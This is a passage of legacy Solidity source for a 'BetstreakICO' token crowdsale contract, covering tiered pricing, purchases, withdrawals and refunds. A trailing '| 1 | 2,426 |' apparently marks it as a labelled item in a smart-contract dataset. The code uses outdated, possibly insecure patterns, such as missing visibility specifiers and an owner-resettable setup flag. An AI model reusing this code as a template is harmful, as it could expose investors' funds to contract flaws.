event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BetstreakICO is owned, safeMath {
address public admin = owner;
StandardToken public tokenReward;
uint256 public initialSupply;
uint256 public tokensRemaining;
address public beneficiaryWallet;
uint256 public tokensPerEthPrice;
uint256 public amountRaisedInWei;
uint256 public fundingMinCapInWei;
string public CurrentStatus = "";
uint256 public fundingStartBlock;
uint256 public fundingEndBlock;
bool public isCrowdSaleClosed = false;
bool public areFundsReleasedToBeneficiary = false;
bool public isCrowdSaleSetup = false;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _BST);
event Refund(address indexed _refunder, uint256 _value);
event Burn(address _from, uint256 _value);
mapping(address => uint256) balancesArray;
mapping(address => uint256) fundValue;
function BetstreakICO() onlyOwner {
admin = msg.sender;
CurrentStatus = "Crowdsale deployed to chain";
}
function initialBSTSupply() constant returns (uint256 tokenTotalSupply) {
tokenTotalSupply = safeDiv(initialSupply,100);
}
function remainingSupply() constant returns (uint256 tokensLeft) {
tokensLeft = tokensRemaining;
}
function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))){
tokenReward = StandardToken(0xA7F40CCD6833a65dD514088F4d419Afd9F0B0B52);
beneficiaryWallet = 0x361e14cC5b3CfBa5D197D8a9F02caf71B3dca6Fd;
tokensPerEthPrice = 1300;
fundingMinCapInWei = 1000000000000000000000;
amountRaisedInWei = 0;
initialSupply = 20000000000;
tokensRemaining = safeDiv(initialSupply,100);
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
setPrice();
return "Crowdsale is setup";
} else if (msg.sender != admin) {
return "not authorized";
} else {
return "campaign cannot be changed";
}
}
function SetupPreSale(bool _isCrowdSaleSetup) onlyOwner returns (bytes32 response) {
if ((msg.sender == admin))
{
isCrowdSaleSetup = _isCrowdSaleSetup;
return "Executed.";
}
}
function setPrice() {
if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+25200) {
tokensPerEthPrice=1300;
} else if (block.number >= fundingStartBlock+25201 && block.number <= fundingStartBlock+50400) {
tokensPerEthPrice=1200;
} else if (block.number >= fundingStartBlock+50401 && block.number <= fundingStartBlock+75600) {
tokensPerEthPrice=1100;
} else if (block.number >= fundingStartBlock+75601 && block.number <= fundingStartBlock+100800) {
tokensPerEthPrice=1050;
} else if (block.number >= fundingStartBlock+100801 && block.number <= fundingEndBlock) {
tokensPerEthPrice=1000;
}
}
function () payable {
require(msg.data.length == 0);
BuyBSTtokens();
}
function BuyBSTtokens() payable {
require(!(msg.value == 0)
&& (isCrowdSaleSetup)
&& (block.number >= fundingStartBlock)
&& (block.number <= fundingEndBlock)
&& (tokensRemaining > 0));
uint256 rewardTransferAmount = 0;
setPrice();
amountRaisedInWei = safeAdd(amountRaisedInWei,msg.value);
rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),10000000000000000);
tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,100));
tokenReward.transfer(msg.sender, rewardTransferAmount);
fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value);
Transfer(this, msg.sender, msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function beneficiaryMultiSigWithdraw(uint256 _amount) onlyOwner {
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(_amount);
}
function checkGoalReached() onlyOwner returns (bytes32 response) {
require (isCrowdSaleSetup);
if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth < Softcap)";
return "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "Presale is setup";
return "Presale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) {
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
CurrentStatus = "Unsuccessful (Eth < Softcap)";
return "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (BST >= Hardcap)!";
return "Successful (BST >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (Eth >= Softcap)!";
return "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) {
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth >= Softcap)!";
return "In progress (Eth >= Softcap)!";
}
setPrice();
}
function refund() {
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (block.number > fundingEndBlock)
&& (fundValue[msg.sender] > 0));
uint256 ethRefund = fundValue[msg.sender];
balancesArray[msg.sender] = 0;
fundValue[msg.sender] = 0;
Burn(msg.sender, ethRefund);
msg.sender.transfer(ethRefund);
Refund(msg.sender, ethRefund);
}
} | 1 | 2,426 |
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